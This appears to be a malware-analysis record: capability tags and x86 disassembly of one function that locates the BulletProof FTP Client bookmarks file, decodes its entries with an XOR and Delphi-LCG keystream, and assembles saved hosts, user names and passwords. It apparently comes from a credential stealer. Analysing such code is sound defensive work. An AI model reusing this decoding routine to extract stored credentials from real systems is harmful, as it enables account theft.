Function at 0x433c51
Capabilities:
Encode data using xor
Generate random numbers using the delphi lcg
Get common file path
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x4288
call fcn.00612c90
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x1783]
push esi
push edi
mov esi, 0x3e7
mov dword [ebp - 0x4288], ecx
push esi
push 0
push eax
mov byte [ebp - 0x1784], 0
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0x139c], 0
lea eax, [ebp - 0x139b]
push esi
push 0
push eax
call fcn.006390b0
mov esi, str.bpftp.dat
lea edi, [ebp - 0x14]
add esp, 0xc
movsd dword es:[edi], dword [esi]
push ebx
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
call fcn.00643470
pop ecx
cmp eax, 1
jae 0x433d01
lea eax, [ebp - 0x139c]
push eax
xor eax, eax
push eax
push eax
push 0x1c
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jns 0x433cf4
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret 4
mov eax, str._sBulletProof_SoftwareBulletProof_FTP_Client2010_sitesBookmarks_s
lea ebx, [ebp - 0x139c]
jmp 0x433d06
mov eax, 0x6c643c
lea ecx, [ebp - 0x14]
push ecx
push ebx
push eax
lea eax, [ebp - 0x1784]
push 0x3e8
push eax
call fcn.00402e0a
add esp, 0x14
lea eax, [ebp - 0xfb3]
mov esi, 0x3e7
xor ebx, ebx
mov byte [ebp - 0xfb4], bl
push esi
push ebx
push eax
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0xbcc], bl
lea eax, [ebp - 0xbcb]
push esi
push ebx
push eax
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0x7e4], bl
lea eax, [ebp - 0x7e3]
push esi
push ebx
push eax
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0x3fc], bl
lea eax, [ebp - 0x3fb]
push esi
push ebx
push eax
call fcn.006390b0
add esp, 0xc
mov dword [ebp - 0x4284], ebx
lea eax, [ebp - 0x1784]
push 0x6c5e0c
push eax
lea eax, [ebp - 0x4284]
push eax
call fcn.00649a00
add esp, 0xc
test eax, eax
jne 0x433ce1
mov eax, dword [ebp - 0x4284]
test eax, eax
je 0x433ce1
push eax
push 1
lea eax, [ebp - 0x427d]
push 1
push eax
call fcn.00651b3e
add esp, 0x10
cmp eax, 1
jne 0x433e0c
push dword [ebp - 0x4284]
movzx eax, byte [ebp - 0x427d]
push eax
lea eax, [ebp - 0x427c]
push 1
push eax
call fcn.00651b3e
mov dl, byte [ebp - 0x427d]
add esp, 0x10
movzx ecx, dl
cmp eax, ecx
jne 0x433e0c
cmp dl, 1
je 0x433e0c
mov eax, dword [ebp - 0x4284]
jmp 0x433dba
push dword [ebp - 0x4284]
call fcn.00650730
pop ecx
push dword [ebp - 0x4284]
call fcn.0065178c
pop ecx
test eax, eax
jne 0x433fdf
mov edi, dword [ebp - 0x4288]
mov byte [ebp - 0x3fc], bl
mov byte [ebp - 0xfb4], bl
mov byte [ebp - 0x7e4], bl
mov byte [ebp - 0xbcc], bl
push dword [ebp - 0x4284]
lea eax, [ebp - 0x427d]
push 1
push 1
push eax
call fcn.00651b3e
add esp, 0x10
cmp eax, 1
jne 0x433f32
mov al, byte [ebp - 0x427d]
test al, al
je 0x433f27
push dword [ebp - 0x4284]
movzx esi, al
movzx eax, al
push eax
lea eax, [ebp - 0x427c]
push 1
push eax
call fcn.00651b3e
add esp, 0x10
cmp eax, esi
jne 0x433f32
xor ecx, ecx
mov edx, esi
test esi, esi
je 0x433ec0
imul edx, edx, 0x8088405
inc edx
mov eax, edx
shr eax, 0x18
xor byte [ebp + ecx - 0x427c], al
inc ecx
cmp ecx, esi
jb 0x433ea8
movzx eax, bl
mov byte [ebp + ecx - 0x427c], 0
sub eax, 3
je 0x433f0c
sub eax, 1
je 0x433efd
sub eax, 3
je 0x433eee
sub eax, 1
jne 0x433f27
lea eax, [ebp - 0x427c]
push eax
lea eax, [ebp - 0xbcc]
jmp 0x433f19
lea eax, [ebp - 0x427c]
push eax
lea eax, [ebp - 0x3fc]
jmp 0x433f19
lea eax, [ebp - 0x427c]
push eax
lea eax, [ebp - 0xfb4]
jmp 0x433f19
lea eax, [ebp - 0x427c]
push eax
lea eax, [ebp - 0x7e4]
push 0x3e8
push eax
call fcn.006494f3
add esp, 0xc
inc bl
cmp bl, 0x20
jb 0x433e4a
lea eax, [ebp - 0xbcc]
push eax
call fcn.00643470
pop ecx
test eax, eax
je 0x433fc8
lea eax, [ebp - 0x3fc]
push eax
call fcn.00643470
pop ecx
test eax, eax
je 0x433f81
lea eax, [ebp - 0x3fc]
push eax
lea eax, [ebp - 0x7e4]
push eax
push str._s:_s
lea eax, [ebp - 0x1b6c]
push 0x3e8
push eax
call fcn.00402e0a
add esp, 0x14
jmp 0x433f9c
lea eax, [ebp - 0x7e4]
push eax
lea eax, [ebp - 0x1b6c]
push 0x3e8
push eax
call fcn.006494f3
add esp, 0xc
push 0xffffffffffffffff
mov esi, 0x6c5bb9
lea eax, [ebp - 0xbcc]
push esi
push eax
lea eax, [ebp - 0xfb4]
mov ecx, edi
push eax
lea eax, [ebp - 0x1b6c]
push eax
push esi
push 0x15c
push 4
call fcn.0043ee6b
push dword [ebp - 0x4284]
call fcn.0065178c
pop ecx
push 0
pop ebx
test eax, eax
je 0x433e32
push dword [ebp - 0x4284]
call fcn.00649273
xor eax, eax
pop ecx
inc eax
jmp 0x433ce3